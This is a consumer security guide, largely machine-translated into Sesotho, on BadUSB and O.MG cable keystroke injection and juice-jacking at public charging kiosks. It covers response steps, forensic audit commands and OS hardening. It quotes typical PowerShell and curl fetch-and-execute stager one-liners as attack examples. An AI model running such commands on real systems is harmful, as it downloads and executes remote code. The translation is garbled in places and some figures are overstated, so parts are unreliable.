Lithapo tsa USB tse kotsi (HID Injection / BadUSB) le Ts'ireletso ea Sechaba ea Kiosk¶

Ho hokela laptop ea hau, smartphone, kapa tablet ka har'a mohala o sa tloaelehang oa USB-C kapa Lehalima le siiloeng tafoleng ea hotele, hekeng ea boema-fofane, setulo se ka morao sa rideshare, kapa mokotla oa swag oa likopano, kapa ho bona puisano ea Windows Run (Win + R), PowerShell fensetere, kapa macOS Terminal flash skrineng sa hao bakeng sa 500 milliseconds 'me u qale ho ngola ka mantsoe a 1,000 ka motsotso hang ka mor'a ho hokela thapo ea USB, flash drive, kapa presenter clicker, ke tshaeno ea BadUSB / HID (Human Interface Device) Keystroke Injection Attack kapa **"Public Exploication". Ho fapana le malware a tloaelehileng a bolokoang e le faele ka har'a monoana o motona oo li-scanner tsa antivirus li ka li hlahlobang pele li buloa, li-implants tse nang le libetsa tse kang O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, le USBHarpoon li kenya mochine o monyenyane oa microcontroller le khetla e tloaelehileng ea Apple, kapa ka har'a khetla e tloaelehileng ea Wi-Fi ka har'a radio-lou ea Apple. Khoele ea ho tjhaja ea Samsung (ha e na limilimithara tse 12 kapa bolelele ba lisenthimithara tse 0.47).

Ha e hoketsoe komporong ea hau kapa ho smartphone e sa notleloang, microcontroller eo e patiloeng ha e phatlalatse tsamaisong ea hau ea ts'ebetso e le koloi ea polokelo kapa tjhaja. Sebakeng seo, e bala holim'a USB D+ le D- data pins e le standard USB HID Keyboard (Class 0x03) kapa USB Ethernet Network Adapter (RNDIS / ECM). Hobane Windows, macOS, Linux, iOS, le Android ka tlhaho li tšepa li-keyboards tse sa tsoa kenngoa ntle le ho hloka bakhanni kapa lisebelisoa tsa antivirus, thapo hang-hang e chesa tatellano ea likonopo tse reriloeng esale pele.Win + R -> powershell -w hidden -ep bypass ... ho Windows, kapa Cmd + Space -> Terminal ho macOS) kapa e qala phallo e laolehang ea Wi-Fi e laoloang ka remoutu ha mohlaseli e ka tlase ho limithara tse 90 (maoto a 300) a tobetsa "Execute" fonong ea hae. Bakeng sa li-wireless hotspot tse pharalletseng le litšokelo tsa marang-rang a maeto hammoho le likou tsa ho tjhaja, ikopanye le rona Wi-Fi ea sechaba, Lefahla le Lebe, le tataiso ea ts'ireletso ea lero. Haeba u tobane le litšokelo tsa 'mele kapa bosholu, letsetsa nomoro ea hau ea tšohanyetso ea lehae (911 United States le Canada, 112 ho pholletsa le European Union, 999 United Kingdom) kapa bona rona dinomoro tsa tshohanyetso directory. Latela mehato ea hang-hang ea ho itšehla thajana le liketso tsa forensic recovery tse ka tlase.

Etsa sena hona joale¶

1. ** YANK thapo ya USB e belaellwang, flash drive, boemakepe, kapa thapo e tjhajang hang-hang**: Motsotsoana o mong le o mong BadUSB kapa O.MG Cable e sala e hoketsoe ka har'a komporo e sa notleloang kapa fono e lumella microcontroller ea eona e ka hare (kapa mohlaseli o haufi o hokahaneng le Wi-Fi hotspot e patiloeng ea thapo) ho kenya li-keyteeserial tse patiloeng kapa ho tsamaisa lisebelisoa tsa USB. keylogger e tlalehang phasewete e 'ngoe le e' ngoe eo u e ngolang ho keyboard ea hau ea kantle.
2. **Hakolla laptop kapa mohala o amehileng ho tsoa ho Wi-Fi, Ethernet, le Bluetooth hona joale, 'me U SE KE U thaepa li-password leha e le life mochining oo **: Thepa e tloaelehileng ea metsotsoana e 2 ea BadUSB / Rubber Ducky ha e ngole lenaneo le leholo holim'a segokanyimmediamentsi sa butle sa keyboard; ho fapana le moo, e thaepa taelo ea "stager" ea 1-line ho PowerShell (iex (irm http://...)) kapa terminal ea macOS (curl -s http://... | sh) e khoasollang sesebelisoa se felletseng sa infostealer kapa trojan ea ho kena u le hole ka khokahanyo ea hau ea Wi-Fi. Ho khaola Wi-Fi le Ethernet hang-hang ho bolaea download kapa ho emisa ho tsoa.
3. Haeba u tobetse "Tšepa Khomphuta Ena" ho iPhone/iPad ea hau kapa u khethile "File Transfer (MTP) / Lumella USB Debugging (ADB)" fonong ea hau ea Android sebakeng sa ho tjhaja sechaba, hlakola tšepo hang hang:
4. Ho iPhone / iPad: Ntša thapo, e ea ho Settings > Developer (haeba e bonahala botlaaseng ba Litlhophiso) -> tlanya Clear Trusted Computers. Haeba Moqapi a ne a sa bonahale, e ea ho ** Litlhophiso> Kakaretso> Fetisetsa kapa Seta bocha iPhone> Seta bocha> Seta Sebaka le Lekunutu**, e hlakolang tsohle tse pentiloeng ka mokhoa o hlakileng. lockdownd lirekoto tsa ho tsamaisa li-host e le hore ho se be komporo kapa kiosk e ka fihlellang bekapo ea hau ea iPhone hape ntle le paskhoutu ea hau.
5. Ho Android: Ntša thapo, e ea ho Litlhophiso > Sisteme > Likhetho tsa Moqapi (haeba e nolofalitsoe) -> tlanya **Hlakola litumello tsa ho lokisa liphoso tsa USB **, ebe u bulela Likhetho tsa Moetsi TLOA ka botlalo.
6. Lekola hore na moputso oa keystroke oa BadUSB o sa tsoa ngola eng khomphuteng ea hau ka ho sheba lebokose la hau la Run (RunMRU), lethathamo la litaelo tsa PowerShell (PSReadLine), le nalane ea terminal ea macOS: Pele o qala bocha, bula fensetere e hloekileng komporong ea hau e sa sebetseng 'me u bale taelo e tobileng eo keyboard ea fake ea USB e kentseng sistimi ea hau u sebelisa sesebelisoa sa rona. litaelo tsa forensic audit Mokhahlelong oa 2.
7. Sireletsa thapo ea USB e belaetsang kapa koloi ea monoana ka har'a sets'oants'o sa tšepe kapa mokotleng oa Faraday (O SE KE oa e hokela hape komporong efe kapa efe ho "bona se ho eona"): Hobane Cable ea O.MG e na le transceiver e sebetsang ea ESP8266/ESP32 ea Wi-Fi e matlafatsang neng kapa neng ha e amohela li-volts tse 5 (esita le ha e hokeloa leboteng la tjhaja ea USB) sebakeng sa eona se patiloeng sa phihlello sa Wi-Fi mme se lumella motho ea hlaselang ka ntle ho phaposi ea hau ea hotele kapa ofisi ho hokela ho eona kapa ho etsa hore e itšenye (Self-Destruct / Wipe) tšobotsi. E tlohele e sa koaheloa ka ho feletseng.
8. **Haeba moputso oa BadUSB o kentse mongolo komporong ea hau ha o ntse o kene, fetola lintlha tsohle mme o hlakole linako tse sebetsang ho sesebelisoa se arohaneng, se hloekileng **: Hobane liperesente tse 90 tsa litefiso tsa sejoale-joale tsa BadUSB li hlahisa infostealer e ts'oereng li-cookies tsa sebatli le li-password tse bolokiloeng ka metsotsoana e 3. seshene kuku hijacking le infostealer token revocation guide ho tsoa ho smartphone e hloekileng.

Sefate sa liqeto: ho araba thapo ea USB eo ho belaelloang hore e mpe kapa ho pepesehela batho ka har'a kiosk¶

Sebelisa leqheka lena la phallo ho fumana hore na sesebelisoa sa hau se senyehile ka mor'a ho hokela thapong e sa tšepahaleng ea USB, boema-kepe, koloi e kholo, kapa seteishene sa ho tjhaja sechaba:

flowchart TD
    Event["E hoketsoe ka har'a Cable ea USB e sa Tsejoeng, E Fumane Flash Drive, Hotel/Kiosk ea Sefofane, kapa Saw Terminal/Run Window Flash skrineng."] --> Unplug["MOHATO 1: Tlosa thapo ea USB / sesebelisoa Hanghang 'me u hakolle Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Ke Sesebelisoa sefe se kentsoeng ka har'a Khoele ea USB e sa Tsejoeng kapa Boema-kepe?"}

    WhatDevice -->|"Windows, macOS, kapa Linux Laptop / Desktop"| ScreenLocked{"Na Screen ea Khomphutha E NE E TLOHILE KAPA E NE E TLOTLELETSOA Ha E kentsoe?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"Na iPhone e ne e sa notleloa, 'me Na U Tlanya 'Tšepa' Kapa U Bona Ho Tlanya?"}
    WhatDevice -->|"Android Smartphone / Letlapa"| AndroidState{"Na Mohala o ne o sa notleloa, kapa 'USB Debugging (ADB)' e nolofalitsoe?"}

    ScreenLocked -->|"E notletsoe (Kena ho Desktop)"| AssumeHID["KOTSI E PHAHAMENG: Cable ea BadUSB / O.MG e ka Phetha Li-keystrokes (Win + R / Cmd + Space) ka <1.5 Metsotsoana Ntle le Potlako Efe kapa Efe -> E-ea Phase 2 Forensic Audit"]
    ScreenLocked -->|"Notletsoe (Skrine sa senotlolo)"| NetworkDMA["Sheba Haeba Thunderbolt / PCIe DMA kapa USB Ethernet (RNDIS / DHCP Poisoning) e Etsahetse; Li-keytrokes li ke ke tsa Bypass Lock Screen Ntle le Password ea Hau"]

    iOSState -->|"E notletsoe Nako eohle (iOS 15+ / Mokhoa o thibetsoeng oa USB)"| iOSSafe["SAFE: Apple 'USB Restricted Mode' E tima 'Mele Lithako tsa data ho li-iPhones tse notletsoeng -> Ke Matla a Fetileng Feela"]
    iOSState -->|"E notletsoe le ho Tlanya 'Trust' (Kapa Saw Safari/ Shortcuts Open)"| iOSRevoke["Matha hang-hang: Litlhophiso> Kakaretso> Fetisetsa kapa Seta botjha iPhone> Seta Botjha> Seta Sebaka le Lekunutu + Sesebelisoa sa Audit Shortcuts."]

    AndroidState -->|"Ho notletsoe Nako eohle (Mokhoa oa ho tjhaja Feela)"| AndroidSafe["SAFE: Li-Defaults tsa Sejoale-joale tsa Android ho 'Ha ho na Phetisetso ea data (Tefiso Feela)' -> Ha ho na data e Fetisitsoeng"]
    AndroidState -->|"E notletsoe, 'me U Bone Mothaepo oa Sekrine kapa ADB/MTP e amohetsoeng"| AndroidRevoke["Thibela Likhetho tsa Moetsi -> Hlakola Debugging ea USB -> Lekola Lisebelisoa tse Kentsoeng le Lits'oants'o tsa Chrome"]

Ho utloisisa hore na BadUSB, Lithapo tsa O.MG, le Litlhaselo tsa Phatlalatsa tsa Phatlalatso li sebetsa joang¶

Ho itšireletsa ka katleho, 'me u qobe ho itšoara ka mokhoa o sa lokelang ho kenngoeng thepa ea' nete le ho tšoha ka lebaka la likou tsa ho tjhaja tse se nang kotsi, o hloka ho utloisisa mekhoa e meraro e ikhethileng e sebelisoang ke bahlaseli ho feta USB:

1. BadUSB / HID Keystroke Ente (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• Bofokoli ba Motheo ba Moralo oa USB: The Universal Serial Bus (USB) litlhaloso li lumella sehokelo se le seng sa 'mele hore se itlhalose e le sehlopha sefe kapa sefe sa sesebelisoa nakong ea ho bala (bInterfaceClass), kapa esita le Sesebediswa se Kopanetsweng (e ipitsa ka nako e le nngwe e le USB Flash Drive le USB Keyboard).
• Ka har'a Cable ea O.MG kapa Charger e kotsi: Ka pono, Cable ea O.MG e ka 100 lekholong e ke ke ea khetholleha ho tloha ho thapo ea 'nete e lohiloeng kapa e tšoeu ea Apple USB-C-to-USB-C, USB-C-to-Lightning, kapa USB-A. E tjhaja fono ya hao mme e fetisetsa data ka tlwaelo. Leha ho le joalo, e patiloeng ka hare ho ntlha ea sehokelo se sebetsang ke microscopic dual-core microcontroller e nang le 802.11 Wi-Fi le polokelo ea flash:
• Active Keystroke Injection: Hang ha o hokela thapo ho Windows PC, Mac, kapa smartphone e sa notleloang, thapo e baloa joalo ka kakaretso HID Keyboard ebe e ngola litlhaku tse fihlang ho 850 motsotsoana (DuckyScript). Ka metsotsoana e 1.5, e ea tobetsa Win + R (Windows) kapa Cmd + Space (Mac), e qala khetla e patiloeng ea bokamorao, e jarolla mojaro, ebe e koala fensetere.
• Inline Hardware Keylogger (Bakeng sa Li-keyboards tsa USB tsa kantle): Haeba mohlaseli a fapanya thapo ea USB e hokelang keyboard ea hau ea kantle ho komporo ea hau ea komporo ka O.MG Cable, implant e lula e khutsitse bohareng ba terata ebe e rekota ** ho fihla ho likonopo tse 650,000** (ho kenyeletsoa memori ea hau ea Bitwarden/1Pasword, PIN password, Windows Password le password ea eona) mohlaseli o khoasolla ntle ho mohala ho tsoa ka ntle ho moaho ka Wi-Fi.
• Mekoloto e Liehileng ea Geofenced le e Lietsoeng ka Nako: Ho fapana le $50 USB Rubber Ducky e thaepang mojaro oa eona hang hang ha e hokeloa, Cable ea O.MG e ka lula e khutsitse e le thapo e tloaelehileng ea ho tjhaja matsatsi kapa libeke ho fihlela e bona marang-rang a hau a Wi-Fi (BSSID geofencing) kapa ho fihlela mohlaseli a e hlahisa a le hole ka UI ea eona ea marang-rang.

2. Ho Hijacka Adapter ea Netweke ea USB (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Leha skrine ea laptop ea hau e ** notletsoe (Win + L kapa Ctrl + Cmd + Q)** kahoo keyboard ea fake ea USB e ke ke ea bula fensetere ea ho qetela, ho hokela sesebelisoa se kotsi sa USB ka har'a koung ea data ea USB e sa notleloang e lumella sesebelisoa hore se balehe e le High-Priority Gigabit USB Ethernet Adapter (USB RNDIS kapa CDC-ECM).
• Hobane Windows le macOS li etelletsa pele sehokelo sa Ethernet se sa tsoa hokahanngoa holim'a Wi-Fi, sesebelisoa sa USB se fetoha monyako oa kamehla oa laptop ka DHCP (0.0.0.0/1), e thibela sephethephethe sa marang-rang sa lehae se sa ngolisoang, se arabela WPAD / LLMNR / mDNS lipotso, kapa li-siphons tseo e seng tsa HttpOnly li-cookies tsa morao-rao tsa sebatli.

3. Public Kiosk "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Ha o hokela smartphone boema-kepeng ba USB ba sechaba (boemafofaneng, seteisheneng sa terene, boto ea lihotele, kapa yuniti ea makoloi a hiriloeng) u sebelisa thapo e tloaelehileng e khonang ho boloka data:
• klzzwxh:0121 ho pepesa linepe kapa lifaele tsa hau ka bo eona. Hoetisoa ha data ho koetsoe ho fihlela o notlolla fono LE ho tlanya ka ho hlaka *"Tšepa Khomphut Ena" (hammoho le kenya Passcode ea hau ea iPhone)* kapa u fetole tseiso ea USB ea Android ho tloha ho No data transfer* ho File Transfer (MTP)* kapa Lumella USB Debugging.
• **Moo kotsi ea 'nete e leng teng li-kiosks tsa sechaba **:
  1. ChoiceJacking & HID Ente ka Mehala e sa notleloang: Joalokaha ho bontšitsoe ke bafuputsi ba ts'ireletso ea Graz University of Technology (ChoiceJacking), haeba fono ya hao e e notletswe ka letsohong la hao ha o ntse o e hokela boemakepeng bo kotsi ba USB ba setjhaba, kiosk e ka qala ka ho bala hore ke USB Keyboard (HID) bakeng sa 200 milliseconds 'me u romelle tse nepahetseng Tab / Enter kapa likonopo tse thusang tse hlokahalang ho ** tobetsa "Lumella / Ho fetisoa ha Faele" skrineng sa hau ** pele u fetohela mokhoeng oa phetisetso ea data.
  2. ** Tšenyo ea Hardware ea Matla a Tšila / Over-Voltage (USB Killer)**: Boema-kepe ba sechaba bo senyehileng ba USB bo ka lahlela 200V DC ho tsoa bankeng ea capacitor ka kotloloho ho chip ea USB-C ea fono ea hau, ea halika boto ea kelello ka ho sa feleng.

Papiso ea Matrix: USB Defense Hardware & OS Tšireletso¶

Mokhahlelo oa 1: Mokhoa oa ho Tseba Cable ea USB ka Pono le ka Motlakase (O.MG Cable Audit)¶

Haeba u fumane thapo ea USB e belaetsang ka ofising ea hau, e hoketsoe ka morao ho keyboard ea komporo ea hau ea komporo, kapa ka har'a mokotla oa hau oa maeto, latela mehato ena e mene ho fumana hore na ke sesebelisoa sa hardware:

1. Tlhahlobo ea #1: Lekanya Tsoelo-pele kapa Sebelisa Teko ea Cable ea Hardware (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
2. Lithapo tse tloaelehileng tsa USB-A-to-USB-C, USB-A-to-Lightning, kapa lithapo tsa ho tjhaja tsa USB-C tse sa tšoauoeng ka E-E ha li na motlakase o hulang oa microprocessor ha ntlha e le 'ngoe feela e hokeloa matla.
3. O.MG Malicious Cable Detector (kapa inline USB current/protocol analyzer joalo ka Power-Z KM003C) e lutse pakeng tsa mohloli oa matla le thapo e nang ** ha ho letho le hoketsoeng pheletsong e hole ea thapo **:
   • Haeba thapo e hula **30 ho isa ho 120 milliamp (mA) ea hajoale ho 5V ha ho se letho le hoketsoeng pheletsong e 'ngoe **, kapa e leka ho buisana le USB. D+/D- ho bala ka bohona, ** ho na le komporo e sebetsang / radio ea Wi-Fi e patiloeng ka har'a hlooho ea thapo **.
4. Tlhahlobo ea #2: Sheba libaka tse patiloeng tsa phihlello ea Wi-Fi (O.MG Li-SSID tsa kamehla kapa Li-Prefixes tsa ESP32 MAC):
5. Lithapo tsa O.MG le li-implants tsa BadUSB tse se nang mohala li sebelisa Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Wi-Fi chip ka har'a khetla ea sehokelo.
6. U sebelisa banka ea betri ea USB e ka thōko sebakeng sa faraday/ka thōko (ha ho mohla khomphuta ea hau), ho sebelisa thapo e sa lokisoang kapa ea kamehla ea O.MG hangata e hasanya marang-rang a 2.4 GHz Wi-Fi (SSID ea kamehla O.MG ho 192.168.4.1, kapa SSID e patiloeng e nang le MAC Address / BSSID OUI ea Espressif Inc. joalo ka 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, ntle le haeba e soabisitsoe).
7. Tlhahlobo ea #3: Lekola Bolelele bo Fetang ba Sehokelo le Mofuthu oa Mocheso:
8. Bapisa khetla ea polasetiki ea thapo e belaetsang khahlano le thapo ea 'nete e tsebahalang ea Apple kapa ea Anker:
   • Le ha meloko ea morao-rao ea O.MG Cable e bapisa boholo ba khetla ea Apple, kamora metsotso e 3 ea ho fumana matla a 5V, hlooho ea sehokelo se nang le Wi-Fi microcontroller e sebetsang e tla ikutloa e futhumetse haholo.35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit)** pakeng tsa menwana ya hao le ha fono e sa tjhaje ka lehlakoreng le leng. (Thapo e tloaelehileng e se nang letho e hoketsoeng pheletsong e hole e lula e bata ka ho felletseng mochesong oa kamore.)

Mokhahlelo oa 2: Tlhahlobo ea Forensic Haeba Cable ea BadUSB kapa O.MG e Ngotsoe Khomphuteng ea Hau¶

Haeba u hokile thapo ea USB, koloi e motona, kapa peripheral ho Windows PC, Mac, kapa Linux laptop 'me u bone Start menu, Run dialog (Win + R), Spotlight (Cmd + Space), kapa fensetere e ntšo / e putsoa ea fensetere e bulehileng le ho koala, ** u se ke ua qala hape **. Etsa litaelo tsena hantle ntle le marang-rang ho bona hore na keyboard ea fake ea USB e ngotsoe eng le hore na USB Vendor/ID ya Sehlahisoa (VID:PID) e hokahane le boema-kepe ba hau:

1. Windows 10 & Windows 11 Forensic Audit (Matha ka PowerShell ea Offline)¶

Bula PowerShell (Admin) ho Windows PC e sa sebetseng 'me u tsamaise litaelo tsena tse' nè tsa forensic:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Mokhoa oa ho toloka Get-ItemProperty ... RunMRU:
• Hoo e ka bang mongolo o mong le o mong oa Windows BadUSB / Rubber Ducky o qala ka ho tobetsa Win + R(GUI r ho DuckyScript) le ho thaepa taelo joalo ka powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex kapa cmd /c curl ....
• Leha script e leka ho hlakola RunMRU Qetellong, haeba u ntšitse thapo bohareng ba ts'ebetso (kapa haeba sengoloa se sa hlakola ngoliso), URL e mpe le taelo li tla lula kahare. RunMRU (a, b, c values) kapa ka hare ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (Matha ka Offline Terminal)¶

Ho macOS, litefiso tsa BadUSB hangata li tobetsa Cmd + Space(GUI SPACE), mofuta Terminal, tobetsa Enter, le matha a curl kapa osascript mohala o le mong:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Linux Forensic Audit (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Haeba leha e le efe ea likutung tse ka holimo bontša hore a powershell, cmd, mshta, curl, wget, kapa osascript taelo e phethoang ha o ntse o hokahantsoe le Marang-rang, nka hore motho ea utsoang litaba kapa ea phehelletseng o ile a matha: hlakola mananeo ohle ka rona. seshene kuku hijacking le infostealer guide 'me u etse ts'ebetso e hloekileng ea OS ka mor'a rona malware, ransomware, le tataiso ea ts'oaetso ea spyware.

Mokhahlelo oa 3: Ho Koala Lisebelisoa Tsa Hao Hore Lithapo Tsa BadUSB Li se Ke Tsa Etsahala¶

Sistimi ea sejoale-joale ea ts'ebetso e se e kenyelletsa linotlolo tse matla tse hahelletsoeng ka har'a li-port tse ** tse etsang hore BadUSB, O.MG Cables, le Rubber Duckies li se ke tsa e-ba teng** pele li ka thaepa tlhaku e le 'ngoe, ha feela u ka bulela litlhophiso tseo:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): Etsa hore "Botsa Lisebelisoa tse Ncha"¶

Ho Apple Silicon Macs e tsamaisang macOS Ventura, Sonoma, kapa Sequoia, Apple e hlahisitse tumello ea koung ea USB-C/Thunderbolt ea boemo ba Hardware e thibelang thapo efe kapa efe e ncha ea USB kapa sesebelisoa ho bala joalo ka keyboard ho fihlela o tobetsa ka ho hlaka "Lumella": 1. Bula Menu ea Apple () > Di-setting tsa Sistimi > Lekunutu & Tshireletso. 2. Tsamaisetsa tlase karolong ea Tshireletso 'me u fumane "Lumella lisebelisoa ho hokela". 3. E fetole ho tloha ho Ka ho iketsa Ha U notletsoe ho ea ho "Kopa Lisebelisoa tse Ncha" (kapa "Botsa Nako le Nako" bakeng sa tšireletso e phahameng ea tšireletso ea maeto). 4. Hobaneng sena se emisa O.MG Cables ho bata ho Mac: Ha o hokela thapo e thetsang ea tjhaja ea O.MG e nang le "Botsa Nako le Nako" kapa "Botsa Lisebelisoa tse Ncha" e nolofalitsoe, matla a phalla hang-hang ho tjhaja betri ea MacBook ea hau, empa macOS e hlahisa molaetsa oa temoso: "Allow accessory '[Device Name]' to connect to this Mac?" Hobane thapo e tloaelehileng ea ho tjhaja ha ho mohla e kopang ho hokela joalo ka sesebelisoa sa data, ho bona pop-up eo ha e hokela thapo e bonolo ea ho tjhaja **hang-hang e pepesa thapo e le sesebelisoa sa hardware ** ha e ntse e thibela liperesente tse 100 tsa likonopo tsa eona ho fihlela o e tima.

2. Apple iPhone & iPad: Netefatsa "USB Restricted Mode" e nolofalletsa¶

1. Bula Litlhophiso > ID ea sefahleho & Passcode (kapa Tota ID & Passcode) ebe o kenya paskhoutu ea hau.
2. Tsamaisetsa tlase ho karolo ea "Lumella ho Kena ha U Loetse".
3. Etsa bonnete ba hore toggle e haufi le Accessories (kapa USB Accessories) e titiloe TIMA (grey).
4. Ka Sesebediswa se tiilwe TLOA, neng kapa neng ha iPhone ya hao e notletswe, iOS e tima diphini tsa data tsa USB, e dumella feela matla a ho tjhaja hore a fete. Kamehla tobetsa konopo e ka lehlakoreng ho notlela skrini sa iPhone PELE o se hokela tjhajang efe kapa efe eo u sa e tloaelang kapa koloing e hiriloeng.

3. Android 15/16 & GrapheneOS: Numella "Tsireletso e Tsoetseng Pele" / USB Port Lock¶

• Ho Android e tloaelehileng (Pixel, Samsung Galaxy):
• Le ka mohla u se ke ua tlohela ** Likhetho tsa Moetsi> Ho lokisa USB (ADB)** e butswe ha o eta.
• Ho **Litlhophiso > Tšireletso & boinotši > Litlhophiso tse ling tsa ts'ireletso ** (kapa **Tsireletso e tsoetseng pele ** ho Android 15/16+), lumella Tsireletso ea USB / Thibela lisebelisoa tse ncha tsa USB ha u ntse u notletsoe.
• Kamehla notlela skrini sa hau pele o hokela boema-kepeng bofe kapa bofe ba sechaba sa ho tjhaja hore litlhaselo tsa ChoiceJacking HID li se ke tsa sebelisana le skrini se sa notleloang.

4. Linux & Windows Enterprise: USBGuard le Lithibelo tsa ho Kenya Sesebediswa¶

• Ho Linux (USBGuard): Kenya usbguard daemon (sudo apt install usbguard), e thibelang boikemelo bofe kapa bofe bo sa tsoa hokeloa ba USB bInterfaceClass 03 (HID Keyboard) haeba keyboard ea mantlha e se e kentsoe kapa ho fihlela e lumelletsoe ka mokhoa o hlakileng ka usbguard allow-device.
• On Windows 11 Pro / Enterprise: Numella Tshireletso ea Kernel DMA (BitLocker + VBS) ho Windows Security> Ts'ireletso ea Sesebelisoa> Ho itšehla thajana ho emisa litlhaselo tsa Thunderbolt/PCIe DMA, 'me kamehla u notlele sebaka sa hau sa mosebetsi (Win + L) pele o hokela thapo efe kapa efe e sa tloaelehang ea USB kahoo li-injection tsa keystroke ha li khone ho fihlella khetla ea komporo e kentsoeng.

Lipotso tse botsoang khafetsa¶

Na Cable ea O.MG e kotsi kapa thapo ea BadUSB e ka qhekella mohala oa ka oa iPhone kapa oa Android haeba ke o hokela feela ha skrini sa mohala oa ka se notletsoe?¶

Haeba iPhone ea hau e na le Di-setting > ID ya Sefahleho & Passcode > Dumella ho kena ha o notlehile > Lisebelisoa retelehile TLOA (ea kamehla ho iOS 15 ho isa ho iOS 18) 'me skrine ea hau e notletsoe ha o hokela thapo, ha ho data kapa likonopo tse ka fihlang ho iPhone ea hau hobane iOS e tima melapo ea data ea USB maemong a taolo ea lisebelisoa ho fihlela o notlolla mohala ka Face ID kapa paskhoutu ea hau. Leha ho le joalo, hang ha o notlolla iPhone ea hau ha Cable ea O.MG e ntse e hoketsoe, thapo e ka baloa joalo ka keyboard ea kantle ea USB mme ea romella likhutšoane tsa keyboard ea iOS kapele (joalo ka. Cmd + Sebaka ho bula Spotlight, bula Safari ho URL ea profil ea phishing/configuration, kapa qala Apple Shortcuts). Le ka mohla u se ke ua boloka thapo ea USB e fumanoeng kapa e sa tšepahaleng e hoketsoe ha o ntse o notlolla fono ea hau.

Nka bona phapang joang lipakeng tsa thapo ea 'nete ea "Charge-Only" ea USB le thapo e tloaelehileng ea data ea USB?¶

Hobane bahlahisi ha se hangata ba hatisang matšoao likhoeleng tse khethollang lithapo tsa tjhaji ho tsoa ho likhoele tsa data, teko e bonolo ka ho fetesisa e bolokehileng ke ho hokela thapo pakeng tsa komporo le sesebelisoa sa khale se seng bohlokoa (kapa sebelisa $10 inline USB cable pinout continuity tester Board joalo ka Treedix USB Cable Tester, e khantšang li-LED tsa motho ka mong bakeng sa terata e 'ngoe le e' ngoe e ka hare ntle le ho bulela microcontroller leha e le efe). Ho continuity tester board, 'nete Cable ea ho tjhaja feela e tla kganya feela VBUS le GND (2 LEDs), athe thapo e nang le data le eona e tla khantša D+ le D- (le CC1/TX/RX ho USB-C). Ho seng joalo, boloka e inehetseng adaptara ea 'mele ea USB Data Blocker e khomaretsoe ka ho sa feleng ntlheng ea mohala oa hau oa ho tjhaja moo o ka shebang kahare ho boema-kepe ba basali mme o netefatse ka mahlo a hau hore lintlha tse bohareng tsa data ha li eo.

Na ho bolokehile ho hokela thapo ea ka ea ho tjhaja mochining oa motlakase oa AC (2-prong / 3-prong wall socket) boema-fofane kapa hoteleng ho fapana le boema-kepe ba USB bo hahelletsoeng ka hare?¶

E, karolo ea 100 lekholong e bolokehile. Sokete e tloaelehileng ea 110V / 230V AC ea lebota (moo u hokelang Apple, Samsung, kapa Anker setene sa motlakase) e na le matla a motlakase a teng feela 'me e na le likhokahano tsa data tse se nang letho tse khonang ho hokahana le selaoli sa USB sa fono ea hau. Hafeela u sebelisa setene sa adaptara ea lebota la AC le thapo ea hau e tšepahalang ea USB, boema-fofane kapa hotele Motlakase oa AC ha o khone ho etsa tlhaselo ea Juice Jacking kapa BadUSB.

Hobaneng ha Windows e ile ea hlaha "Ho theha sesebelisoa: HID Keyboard Device" ha ke hokela USB flash drive kapa tjhaja ea vape/e-cigarette?¶

